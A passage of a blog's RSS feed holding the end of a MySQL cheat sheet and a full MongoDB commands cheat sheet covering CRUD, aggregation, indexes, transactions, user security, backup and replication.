INDEXES          CREATE INDEX idx ON t(col); DROP INDEX idx ON t;
TRANSACTIONS     START TRANSACTION; COMMIT; ROLLBACK;
USERS            CREATE USER; GRANT; REVOKE; FLUSH PRIVILEGES;
BACKUP           mysqldump -u user -p db &gt; file.sql
RESTORE          mysql -u user -p db &lt; file.sql
</code></pre>



<p class="wp-block-paragraph">Keep this section bookmarked — it&#8217;s the 20% of commands you&#8217;ll use 80% of the time.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">22. Official Documentation Links</h2>



<ul class="wp-block-list">
<li>MySQL Reference Manual: https://dev.mysql.com/doc/refman/en/</li>



<li>MySQL 8.0 Reference Manual: https://dev.mysql.com/doc/refman/8.0/en/</li>



<li>mysqldump Documentation: https://dev.mysql.com/doc/refman/en/mysqldump.html</li>



<li>MySQL Data Types: https://dev.mysql.com/doc/refman/en/data-types.html</li>



<li>MySQL Security Guidelines: https://dev.mysql.com/doc/refman/en/security.html</li>
</ul>



<p class="wp-block-paragraph">I keep updating this sheet as MySQL evolves and as I run into new edge cases myself — if you bookmark it, you&#8217;re bookmarking something that reflects real, hands-on usage rather than just a copy of the manual.</p>



<p class="wp-block-paragraph"></p>
<p>The post <a href="https://awjunaid.com/cheatsheet/ultimate-mysql-commands-cheat-sheet/">Ultimate MySQL Commands Cheat Sheet: Database Management and Query Reference</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/cheatsheet/ultimate-mysql-commands-cheat-sheet/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">6002</post-id>	</item>
		<item>
		<title>Ultimate MongoDB Commands Cheat Sheet: NoSQL Database Operations and Queries</title>
		<link>https://awjunaid.com/cheatsheet/ultimate-mongodb-commands-cheat-sheet/</link>
					<comments>https://awjunaid.com/cheatsheet/ultimate-mongodb-commands-cheat-sheet/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Thu, 21 Sep 2023 06:31:33 +0000</pubDate>
				<category><![CDATA[Cheatsheet]]></category>
		<category><![CDATA[cheatsheet]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=5998</guid>

					<description><![CDATA[<p>I switched between relational and document databases enough times over the years that I finally got tired of&#8230;</p>
<p>The post <a href="https://awjunaid.com/cheatsheet/ultimate-mongodb-commands-cheat-sheet/">Ultimate MongoDB Commands Cheat Sheet: NoSQL Database Operations and Queries</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">I switched between relational and document databases enough times over the years that I finally got tired of googling the same MongoDB syntax over and over. So I built this cheat sheet the way I actually use MongoDB day to day — from spinning up a local instance, to writing aggregation pipelines, to locking down a production cluster with proper authentication.</p>



<p class="wp-block-paragraph">If you&#8217;re building a Node.js API, prototyping fast, or just trying to get comfortable with document-based data modeling, this is meant to be the single page you keep open. I&#8217;ve tried to cover the commands you&#8217;ll type constantly and the ones you&#8217;ll only need once a year but always forget.</p>



<p class="wp-block-paragraph">Let&#8217;s dive in.</p>



<h2 class="wp-block-heading">Table of Contents</h2>



<ol class="wp-block-list">
<li>Getting Started: Connecting to MongoDB</li>



<li>Database and Collection Management</li>



<li>Data Types in MongoDB</li>



<li>CRUD Operations: Insert, Find, Update, Delete</li>



<li>Query Operators Reference</li>



<li>Sorting, Limiting, and Pagination</li>



<li>The Aggregation Framework</li>



<li>Indexes and Performance</li>



<li>Schema Design and Data Modeling</li>



<li>Transactions</li>



<li>User Management and Security</li>



<li>Backup and Restore</li>



<li>Replication and Sharding Basics</li>



<li>Troubleshooting Common Errors</li>



<li>Best Practices</li>



<li>Real-World Use Cases</li>



<li>Frequently Asked Questions</li>



<li>Common Mistakes to Avoid</li>



<li>Interview Questions</li>



<li>Printable Quick-Reference Summary</li>



<li>Official Documentation Links</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">1. Getting Started: Connecting to MongoDB</h2>



<p class="wp-block-paragraph">I mostly use the <code>mongosh</code> shell (the modern replacement for the legacy <code>mongo</code> shell) for quick checks, and a driver in application code for everything else.</p>



<pre class="wp-block-code"><code># Connect to a local instance
mongosh

# Connect to a specific host and port
mongosh --host 127.0.0.1 --port 27017

# Connect with authentication
mongosh "mongodb://username:password@localhost:27017/mydb"

# Connect to MongoDB Atlas (cloud)
mongosh "mongodb+srv://cluster0.mongodb.net/mydb" --username myuser
</code></pre>



<p class="wp-block-paragraph">Once inside the shell:</p>



<pre class="wp-block-code"><code>// Show current database
db

// List all databases
show dbs

// Switch to (or create) a database
use myapp

// Show current server status
db.serverStatus()

// Show MongoDB version
db.version()
</code></pre>



<p class="wp-block-paragraph">One thing that catches newcomers off guard: <code>use myapp</code> doesn&#8217;t actually create the database until you insert data into a collection. MongoDB creates databases and collections lazily, on first write.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">2. Database and Collection Management</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Task</th><th>Command</th></tr></thead><tbody><tr><td>List databases</td><td><code>show dbs</code></td></tr><tr><td>Switch/create database</td><td><code>use dbname</code></td></tr><tr><td>Show current database</td><td><code>db</code></td></tr><tr><td>Drop current database</td><td><code>db.dropDatabase()</code></td></tr><tr><td>List collections</td><td><code>show collections</code></td></tr><tr><td>Create a collection explicitly</td><td><code>db.createCollection("users")</code></td></tr><tr><td>Drop a collection</td><td><code>db.users.drop()</code></td></tr><tr><td>Rename a collection</td><td><code>db.users.renameCollection("app_users")</code></td></tr><tr><td>Get collection stats</td><td><code>db.users.stats()</code></td></tr></tbody></table></figure>



<pre class="wp-block-code"><code>// Create a collection with schema validation
db.createCollection("users", {
  validator: {
    $jsonSchema: {
      bsonType: "object",
      required: &#91;"username", "email"],
      properties: {
        username: { bsonType: "string" },
        email: { bsonType: "string", pattern: "^.+@.+$" },
        age: { bsonType: "int", minimum: 0 }
      }
    }
  }
})
</code></pre>



<p class="wp-block-paragraph">I use schema validation on any collection where I want MongoDB&#8217;s flexibility but still need some guardrails — it&#8217;s saved me from bad data creeping in during early development when I was still iterating on the app&#8217;s models.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">3. Data Types in MongoDB</h2>



<p class="wp-block-paragraph">MongoDB stores data as BSON (Binary JSON), which supports more types than plain JSON.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Type</th><th>Example</th><th>Notes</th></tr></thead><tbody><tr><td>String</td><td><code>"hello"</code></td><td>UTF-8</td></tr><tr><td>Number (Int32)</td><td><code>NumberInt(42)</code></td><td>32-bit integer</td></tr><tr><td>Number (Int64)</td><td><code>NumberLong(42)</code></td><td>64-bit integer</td></tr><tr><td>Double</td><td><code>42.5</code></td><td>Default number type</td></tr><tr><td>Decimal128</td><td><code>NumberDecimal("42.50")</code></td><td>For precise decimal math (currency)</td></tr><tr><td>Boolean</td><td><code>true</code> / <code>false</code></td><td></td></tr><tr><td>Date</td><td><code>ISODate("2024-01-01")</code></td><td>Stored as UTC</td></tr><tr><td>Array</td><td><code>["a", "b", "c"]</code></td><td>Ordered list</td></tr><tr><td>Object</td><td><code>{ street: "Main St" }</code></td><td>Embedded document</td></tr><tr><td>ObjectId</td><td><code>ObjectId("64f...")</code></td><td>Default <code>_id</code> type, 12-byte unique ID</td></tr><tr><td>Null</td><td><code>null</code></td><td></td></tr><tr><td>Binary Data</td><td><code>BinData(...)</code></td><td>For files, hashes, etc.</td></tr></tbody></table></figure>



<pre class="wp-block-code"><code>// Every document gets a unique _id automatically if not provided
db.users.insertOne({ username: "johndoe" })
// _id: ObjectId("...") is generated automatically
</code></pre>



<p class="wp-block-paragraph">I default to <code>Decimal128</code> for any money field, the same way I&#8217;d use <code>DECIMAL</code> in a relational database — floating point rounding errors are just as real here.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">4. CRUD Operations: Insert, Find, Update, Delete</h2>



<h3 class="wp-block-heading">Insert</h3>



<pre class="wp-block-code"><code>// Insert a single document
db.users.insertOne({
  username: "johndoe",
  email: "john@example.com",
  age: 29,
  createdAt: new Date()
})

// Insert multiple documents
db.users.insertMany(&#91;
  { username: "alice", email: "alice@example.com" },
  { username: "bob", email: "bob@example.com" }
])
</code></pre>



<p class="wp-block-paragraph">Expected output:</p>



<pre class="wp-block-code"><code>{
  acknowledged: true,
  insertedId: ObjectId("64f1a2b3c4d5e6f7a8b9c0d1")
}
</code></pre>



<h3 class="wp-block-heading">Find</h3>



<pre class="wp-block-code"><code>// Find all documents
db.users.find()

// Find with a filter
db.users.find({ username: "johndoe" })

// Find one document
db.users.findOne({ email: "john@example.com" })

// Find with projection (return only specific fields)
db.users.find({}, { username: 1, email: 1, _id: 0 })

// Pretty-print results in the shell
db.users.find().pretty()
</code></pre>



<h3 class="wp-block-heading">Update</h3>



<pre class="wp-block-code"><code>// Update a single document
db.users.updateOne(
  { username: "johndoe" },
  { $set: { email: "newemail@example.com" } }
)

// Update multiple documents
db.users.updateMany(
  { status: "inactive" },
  { $set: { status: "archived" } }
)

// Upsert (insert if not found)
db.users.updateOne(
  { username: "newuser" },
  { $set: { email: "new@example.com" } },
  { upsert: true }
)

// Replace an entire document
db.users.replaceOne(
  { username: "johndoe" },
  { username: "johndoe", email: "john@newdomain.com" }
)
</code></pre>



<h3 class="wp-block-heading">Delete</h3>



<pre class="wp-block-code"><code>// Delete a single document
db.users.deleteOne({ username: "johndoe" })

// Delete multiple documents
db.users.deleteMany({ status: "archived" })

// Delete all documents in a collection (keeps the collection itself)
db.users.deleteMany({})
</code></pre>



<p class="wp-block-paragraph">Same rule as any database: I always run the equivalent <code>find()</code> with the same filter before running <code>deleteMany()</code> or <code>updateMany()</code>, just to see exactly what I&#8217;m about to touch.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">5. Query Operators Reference</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Operator</th><th>Meaning</th><th>Example</th></tr></thead><tbody><tr><td><code>$eq</code></td><td>Equals</td><td><code>{ age: { $eq: 30 } }</code></td></tr><tr><td><code>$ne</code></td><td>Not equals</td><td><code>{ age: { $ne: 30 } }</code></td></tr><tr><td><code>$gt</code> / <code>$gte</code></td><td>Greater than / or equal</td><td><code>{ age: { $gt: 18 } }</code></td></tr><tr><td><code>$lt</code> / <code>$lte</code></td><td>Less than / or equal</td><td><code>{ age: { $lt: 65 } }</code></td></tr><tr><td><code>$in</code></td><td>Matches any value in array</td><td><code>{ status: { $in: ["active", "pending"] } }</code></td></tr><tr><td><code>$nin</code></td><td>Matches none of the values</td><td><code>{ status: { $nin: ["banned"] } }</code></td></tr><tr><td><code>$and</code></td><td>Logical AND</td><td><code>{ $and: [{ age: { $gt: 18 } }, { status: "active" }] }</code></td></tr><tr><td><code>$or</code></td><td>Logical OR</td><td><code>{ $or: [{ status: "active" }, { vip: true }] }</code></td></tr><tr><td><code>$not</code></td><td>Negates a condition</td><td><code>{ age: { $not: { $lt: 18 } } }</code></td></tr><tr><td><code>$exists</code></td><td>Field presence check</td><td><code>{ phone: { $exists: true } }</code></td></tr><tr><td><code>$regex</code></td><td>Pattern matching</td><td><code>{ email: { $regex: "@gmail.com$" } }</code></td></tr><tr><td><code>$elemMatch</code></td><td>Array element matches condition</td><td><code>{ scores: { $elemMatch: { $gt: 80 } } }</code></td></tr><tr><td><code>$size</code></td><td>Array length</td><td><code>{ tags: { $size: 3 } }</code></td></tr><tr><td><code>$all</code></td><td>Array contains all values</td><td><code>{ tags: { $all: ["mongo", "db"] } }</code></td></tr></tbody></table></figure>



<pre class="wp-block-code"><code>// Combining operators
db.orders.find({
  status: { $in: &#91;"shipped", "delivered"] },
  total: { $gte: 50, $lte: 500 }
})

// Nested field query
db.users.find({ "address.city": "New York" })
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">6. Sorting, Limiting, and Pagination</h2>



<pre class="wp-block-code"><code>// Sort ascending (1) or descending (-1)
db.users.find().sort({ createdAt: -1 })

// Limit results
db.users.find().limit(10)

// Skip for pagination
db.users.find().skip(20).limit(10)

// Count matching documents
db.users.countDocuments({ status: "active" })

// Combine sort, skip, and limit for a paginated query
db.orders.find({ status: "shipped" })
  .sort({ createdAt: -1 })
  .skip(0)
  .limit(25)
</code></pre>



<p class="wp-block-paragraph">For large collections, I avoid <code>skip()</code> on deep pagination since it gets slower the further you page — I switch to cursor-based pagination using <code>_id</code> or a timestamp instead once a collection gets large.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">7. The Aggregation Framework</h2>



<p class="wp-block-paragraph">This is where MongoDB really earns its keep for analytics-style queries. Think of it as a pipeline — each stage transforms the data and passes it to the next.</p>



<pre class="wp-block-code"><code>// Basic aggregation: total spent per user
db.orders.aggregate(&#91;
  { $match: { status: "completed" } },
  { $group: { _id: "$userId", totalSpent: { $sum: "$total" } } },
  { $sort: { totalSpent: -1 } },
  { $limit: 10 }
])

// $project to reshape output
db.users.aggregate(&#91;
  { $project: { username: 1, email: 1, fullName: { $concat: &#91;"$firstName", " ", "$lastName"] } } }
])

// $lookup — the MongoDB equivalent of a SQL join
db.orders.aggregate(&#91;
  {
    $lookup: {
      from: "users",
      localField: "userId",
      foreignField: "_id",
      as: "userDetails"
    }
  },
  { $unwind: "$userDetails" }
])

// $unwind — flatten an array field into separate documents
db.orders.aggregate(&#91;
  { $unwind: "$items" },
  { $group: { _id: "$items.productId", totalSold: { $sum: "$items.quantity" } } }
])

// $facet — run multiple aggregation pipelines in parallel
db.products.aggregate(&#91;
  {
    $facet: {
      byCategory: &#91;{ $group: { _id: "$category", count: { $sum: 1 } } }],
      priceStats: &#91;{ $group: { _id: null, avgPrice: { $avg: "$price" } } }]
    }
  }
])
</code></pre>



<p class="wp-block-paragraph">I use <code>$lookup</code> constantly to replicate join-style reporting, and <code>$facet</code> whenever I want to build a dashboard summary in a single round trip instead of firing off five separate queries.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">8. Indexes and Performance</h2>



<pre class="wp-block-code"><code>// Create a single-field index
db.users.createIndex({ email: 1 })

// Create a unique index
db.users.createIndex({ email: 1 }, { unique: true })

// Compound index
db.orders.createIndex({ status: 1, createdAt: -1 })

// Text index for search
db.articles.createIndex({ content: "text" })

// TTL index — automatically expire documents (great for sessions/logs)
db.sessions.createIndex({ createdAt: 1 }, { expireAfterSeconds: 3600 })

// List indexes on a collection
db.users.getIndexes()

// Drop an index
db.users.dropIndex("email_1")

// Analyze query performance
db.users.find({ email: "john@example.com" }).explain("executionStats")
</code></pre>



<p class="wp-block-paragraph">Same rule of thumb as any database: index the fields you filter, sort, and join on. TTL indexes in particular are one of my favorite MongoDB features — I&#8217;ve used them for session storage and rate-limit tracking without needing a separate cron job to clean up expired data.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">9. Schema Design and Data Modeling</h2>



<p class="wp-block-paragraph">MongoDB gives you two main modeling strategies, and picking the right one per relationship matters a lot.</p>



<p class="wp-block-paragraph"><strong>Embedding</strong> (nesting related data inside a document):</p>



<pre class="wp-block-code"><code>{
  _id: ObjectId("..."),
  username: "johndoe",
  address: {
    street: "123 Main St",
    city: "New York",
    zip: "10001"
  }
}
</code></pre>



<p class="wp-block-paragraph">Good for data that&#8217;s always accessed together and doesn&#8217;t grow unbounded — like a user&#8217;s address or profile settings.</p>



<p class="wp-block-paragraph"><strong>Referencing</strong> (storing an ID and looking it up separately):</p>



<pre class="wp-block-code"><code>// users collection
{ _id: ObjectId("user1"), username: "johndoe" }

// orders collection
{ _id: ObjectId("order1"), userId: ObjectId("user1"), total: 99.99 }
</code></pre>



<p class="wp-block-paragraph">Better for data that grows large or is shared across many documents — like a user&#8217;s order history, which could have thousands of entries.</p>



<p class="wp-block-paragraph">My general rule: embed when the relationship is one-to-few and the nested data is always read together with the parent. Reference when the relationship is one-to-many at scale, or many-to-many.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">10. Transactions</h2>



<p class="wp-block-paragraph">MongoDB has supported multi-document ACID transactions since version 4.0, which changed how I think about it for financial or multi-step operations.</p>



<pre class="wp-block-code"><code>const session = db.getMongo().startSession()
session.startTransaction()

try {
  const users = session.getDatabase("myapp").users
  const accounts = session.getDatabase("myapp").accounts

  users.updateOne({ _id: userId }, { $inc: { balance: -100 } })
  accounts.updateOne({ _id: accountId }, { $inc: { balance: 100 } })

  session.commitTransaction()
} catch (error) {
  session.abortTransaction()
  throw error
} finally {
  session.endSession()
}
</code></pre>



<p class="wp-block-paragraph">For a single document, updates are always atomic by default in MongoDB, so you often don&#8217;t need a full transaction. I reach for explicit transactions only when I&#8217;m touching multiple documents or multiple collections that need to succeed or fail together.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">11. User Management and Security</h2>



<pre class="wp-block-code"><code>// Create an admin user (run from the admin database)
use admin
db.createUser({
  user: "adminUser",
  pwd: "StrongPassword123!",
  roles: &#91;{ role: "userAdminAnyDatabase", db: "admin" }]
})

// Create an application-specific user with limited privileges
use myapp
db.createUser({
  user: "appUser",
  pwd: "AnotherStrongPassword456!",
  roles: &#91;{ role: "readWrite", db: "myapp" }]
})

// List users
db.getUsers()

// Update a user's roles
db.updateUser("appUser", { roles: &#91;{ role: "read", db: "myapp" }] })

// Drop a user
db.dropUser("appUser")

// Show current user's roles
db.runCommand({ connectionStatus: 1 })
</code></pre>



<p class="wp-block-paragraph"><strong>Security tips I follow on every project:</strong></p>



<ul class="wp-block-list">
<li>Enable authentication (<code>--auth</code> or <code>security.authorization: enabled</code> in the config file) — MongoDB doesn&#8217;t require auth by default on a fresh local install, which is a common cause of exposed databases.</li>



<li>Use role-based access control and give each application user only the roles it needs (<code>read</code>, <code>readWrite</code>, not <code>dbOwner</code> unless truly necessary).</li>



<li>Never expose MongoDB directly to the public internet without a firewall, VPN, or IP allowlist.</li>



<li>Enable TLS/SSL for connections in production.</li>



<li>Sanitize and validate all user input in application code — MongoDB queries built from unsanitized input can still be vulnerable to injection-style attacks (e.g., passing an object where a string is expected).</li>



<li>Rotate credentials and audit <code>db.getUsers()</code> periodically.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">12. Backup and Restore</h2>



<pre class="wp-block-code"><code># Backup an entire database
mongodump --db myapp --out /backup/2024-01-01

# Backup a specific collection
mongodump --db myapp --collection users --out /backup/2024-01-01

# Restore a database
mongorestore --db myapp /backup/2024-01-01/myapp

# Backup with authentication
mongodump --uri="mongodb://user:pass@localhost:27017/myapp" --out /backup

# Export a collection to JSON
mongoexport --db myapp --collection users --out users.json

# Import a collection from JSON
mongoimport --db myapp --collection users --file users.json
</code></pre>



<p class="wp-block-paragraph">For production systems, I pair <code>mongodump</code> snapshots with MongoDB Atlas&#8217;s continuous backup feature (or replica set oplog-based backups if self-hosted) so I can do point-in-time recovery rather than relying only on daily dumps.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">13. Replication and Sharding Basics</h2>



<pre class="wp-block-code"><code>// Initiate a replica set
rs.initiate({
  _id: "rs0",
  members: &#91;
    { _id: 0, host: "localhost:27017" },
    { _id: 1, host: "localhost:27018" },
    { _id: 2, host: "localhost:27019" }
  ]
})

// Check replica set status
rs.status()

// Check which node is primary
rs.isMaster()

// Enable sharding on a database
sh.enableSharding("myapp")

// Shard a collection on a chosen key
sh.shardCollection("myapp.orders", { userId: 1 })

// Check sharding status
sh.status()
</code></pre>



<p class="wp-block-paragraph">I&#8217;ve only needed sharding on a handful of projects that hit real scale, but replica sets I consider close to mandatory for any production deployment — they&#8217;re what give you automatic failover if the primary node goes down.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">14. Troubleshooting Common Errors</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Error</th><th>Likely Cause</th><th>Fix</th></tr></thead><tbody><tr><td><code>MongoServerError: Authentication failed</code></td><td>Wrong username/password or wrong auth database</td><td>Confirm credentials and the <code>authSource</code> parameter in the connection string</td></tr><tr><td><code>MongoNetworkError: connect ECONNREFUSED</code></td><td>MongoDB service isn&#8217;t running or wrong host/port</td><td>Check <code>mongod</code> is running, verify host and port</td></tr><tr><td><code>E11000 duplicate key error</code></td><td>Violates a unique index</td><td>Check existing documents or use <code>upsert</code> logic intentionally</td></tr><tr><td><code>BSONObjectTooLarge</code></td><td>Document exceeds 16MB limit</td><td>Split large data across multiple documents or use GridFS for files</td></tr><tr><td><code>not primary and slaveOk=false</code></td><td>Writing to a secondary node in a replica set</td><td>Ensure writes go to the primary, or check connection settings</td></tr><tr><td><code>Query exceeded time limit</code></td><td>Missing index or overly broad query on a large collection</td><td>Run <code>.explain()</code> and add an appropriate index</td></tr><tr><td><code>WiredTiger error</code> on startup</td><td>Corrupted data files, often from an unclean shutdown</td><td>Restore from backup or run repair (<code>mongod --repair</code>) as a last resort</td></tr></tbody></table></figure>



<pre class="wp-block-code"><code>// Check current operations (useful for stuck queries)
db.currentOp()

// Kill a specific operation
db.killOp(12345)

// Check server logs for recent issues
db.adminCommand({ getLog: "global" })
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">15. Best Practices</h2>



<ul class="wp-block-list">
<li>Design your schema around your query patterns, not around normalization habits carried over from relational databases.</li>



<li>Keep documents under a few hundred KB when possible — even though the hard limit is 16MB, huge documents hurt read/write performance.</li>



<li>Use indexes deliberately; check <code>.explain()</code> before assuming a query needs one.</li>



<li>Prefer <code>updateOne</code>/<code>updateMany</code> with <code>$set</code> over full document replacement to avoid accidentally wiping fields.</li>



<li>Use schema validation on collections where data consistency matters, even though MongoDB doesn&#8217;t require a fixed schema.</li>



<li>Always specify a projection in production <code>find()</code> queries instead of returning entire documents by default.</li>



<li>Use connection pooling in your driver instead of opening a new connection per request.</li>



<li>Enable authentication and access control from day one, even in development, so it&#8217;s not an afterthought before launch.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">16. Real-World Use Cases</h2>



<p class="wp-block-paragraph"><strong>Product catalogs:</strong> MongoDB&#8217;s flexible schema has been genuinely useful for e-commerce catalogs where different product categories have wildly different attributes — a laptop has different specs than a t-shirt, and forcing that into a rigid relational schema always felt clunky.</p>



<p class="wp-block-paragraph"><strong>Real-time analytics dashboards:</strong> I&#8217;ve built dashboards using the aggregation framework&#8217;s <code>$facet</code> and <code>$group</code> stages to compute multiple summary statistics in a single query instead of hitting the database repeatedly.</p>



<p class="wp-block-paragraph"><strong>Session and cache storage:</strong> TTL indexes make MongoDB a solid fit for storing user sessions or short-lived tokens that need to expire automatically.</p>



<p class="wp-block-paragraph"><strong>Content management systems:</strong> Embedding comments, tags, and metadata directly inside article documents has made read performance excellent for content-heavy applications where writes are far less frequent than reads.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">17. Frequently Asked Questions</h2>



<p class="wp-block-paragraph"><strong>Is MongoDB schema-less?</strong> Not entirely — it&#8217;s schema-flexible. You can enforce structure with <code>$jsonSchema</code> validation, but by default, documents in the same collection can have different fields.</p>



<p class="wp-block-paragraph"><strong>What&#8217;s the difference between <code>updateOne</code> and <code>findOneAndUpdate</code>?</strong> <code>updateOne</code> returns a write result (matched/modified counts). <code>findOneAndUpdate</code> returns the actual document (before or after the update, depending on options), which is useful when you need the updated data immediately.</p>



<p class="wp-block-paragraph"><strong>How do I find duplicate values in a field?</strong></p>



<pre class="wp-block-code"><code>db.users.aggregate(&#91;
  { $group: { _id: "$email", count: { $sum: 1 } } },
  { $match: { count: { $gt: 1 } } }
])
</code></pre>



<p class="wp-block-paragraph"><strong>How do I copy a collection?</strong></p>



<pre class="wp-block-code"><code>db.users.aggregate(&#91;{ $match: {} }, { $out: "users_copy" }])
</code></pre>



<p class="wp-block-paragraph"><strong>What happens if I query a field that doesn&#8217;t exist on some documents?</strong> MongoDB simply treats it as <code>null</code>/non-existent for that document — it won&#8217;t error out, which is both a strength and a source of subtle bugs if you&#8217;re not careful with <code>$exists</code> checks.</p>



<p class="wp-block-paragraph"><strong>Is MongoDB ACID-compliant?</strong> Single-document operations are always atomic. Multi-document ACID transactions are supported since version 4.0 for replica sets, and since 4.2 for sharded clusters.</p>



<p class="wp-block-paragraph"><strong>How is <code>_id</code> different from a normal field?</strong> <code>_id</code> is required, automatically indexed, and unique per collection. If you don&#8217;t provide one on insert, MongoDB generates an <code>ObjectId</code> for you.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">18. Common Mistakes to Avoid</h2>



<ul class="wp-block-list">
<li>Running <code>deleteMany({})</code> or <code>updateMany({}, ...)</code> without double-checking the filter first.</li>



<li>Treating MongoDB like a relational database and over-normalizing data into too many collections with excessive <code>$lookup</code> joins.</li>



<li>Ignoring the 16MB document size limit until it becomes a production incident.</li>



<li>Not creating indexes for frequently queried fields, then wondering why queries are slow at scale.</li>



<li>Using <code>skip()</code> for deep pagination on large collections instead of cursor-based pagination.</li>



<li>Storing large binary files directly in documents instead of using GridFS or external object storage.</li>



<li>Leaving authentication disabled on a development instance that later gets exposed accidentally.</li>



<li>Forgetting that array updates with <code>$push</code> can grow a document unbounded over time if there&#8217;s no cap or archiving strategy.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">19. Interview Questions</h2>



<ol class="wp-block-list">
<li>What&#8217;s the difference between embedding and referencing in MongoDB schema design?</li>



<li>Explain how the aggregation pipeline works and name three common stages.</li>



<li>What is an <code>ObjectId</code>, and what information is encoded in it?</li>



<li>How does MongoDB handle transactions, and when did multi-document ACID transactions become available?</li>



<li>What&#8217;s the difference between <code>$lookup</code> and a SQL <code>JOIN</code>?</li>



<li>How do TTL indexes work, and where would you use one?</li>



<li>What&#8217;s the maximum document size in MongoDB, and how would you handle larger data?</li>



<li>Explain the difference between a replica set and a sharded cluster.</li>



<li>How would you design a schema for a one-to-many relationship with millions of &#8220;many&#8221; records?</li>



<li>What&#8217;s the difference between <code>find()</code> and <code>aggregate()</code>?</li>



<li>How does MongoDB achieve high availability?</li>



<li>What are the trade-offs of using an unstructured/dynamic schema?</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">20. Printable Quick-Reference Summary</h2>



<pre class="wp-block-code"><code>DATABASES        show dbs; use dbname; db.dropDatabase();
COLLECTIONS      show collections; db.createCollection(); db.coll.drop();
INSERT           db.coll.insertOne({...}); db.coll.insertMany(&#91;...]);
FIND             db.coll.find({filter}); db.coll.findOne({filter});
UPDATE           db.coll.updateOne(filter, { $set: {...} });
DELETE           db.coll.deleteOne(filter); db.coll.deleteMany(filter);
OPERATORS        $eq $ne $gt $gte $lt $lte $in $nin $and $or $exists $regex
SORT/LIMIT       .sort({field:1/-1}).skip(n).limit(n)
AGGREGATE        db.coll.aggregate(&#91;{$match},{$group},{$sort},{$lookup}])
INDEXES          db.coll.createIndex({field:1}); db.coll.getIndexes();
TRANSACTIONS     session.startTransaction(); session.commitTransaction();
USERS            db.createUser({...}); db.getUsers(); db.dropUser();
BACKUP           mongodump --db name --out /path
RESTORE          mongorestore --db name /path/name
</code></pre>



<p class="wp-block-paragraph">Print this section out or pin it to a second monitor — it covers the commands that make up the bulk of daily MongoDB work.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">21. Official Documentation Links</h2>



<ul class="wp-block-list">
<li>MongoDB Manual: https://www.mongodb.com/docs/manual/</li>



<li>MongoDB Aggregation Pipeline Reference: https://www.mongodb.com/docs/manual/core/aggregation-pipeline/</li>



<li>MongoDB Query Operators: https://www.mongodb.com/docs/manual/reference/operator/query/</li>



<li>mongodump / mongorestore Docs: https://www.mongodb.com/docs/database-tools/mongodump/</li>



<li>MongoDB Security Checklist: https://www.mongodb.com/docs/manual/administration/security-checklist/</li>
</ul>



<p class="wp-block-paragraph">I revisit this sheet every time MongoDB ships a new major version, because the aggregation framework in particular keeps getting new operators worth knowing. Bookmark it, and it&#8217;ll stay useful well past today.</p>
<p>The post <a href="https://awjunaid.com/cheatsheet/ultimate-mongodb-commands-cheat-sheet/">Ultimate MongoDB Commands Cheat Sheet: NoSQL Database Operations and Queries</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/cheatsheet/ultimate-mongodb-commands-cheat-sheet/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">5998</post-id>	</item>
	</channel>
</rss>
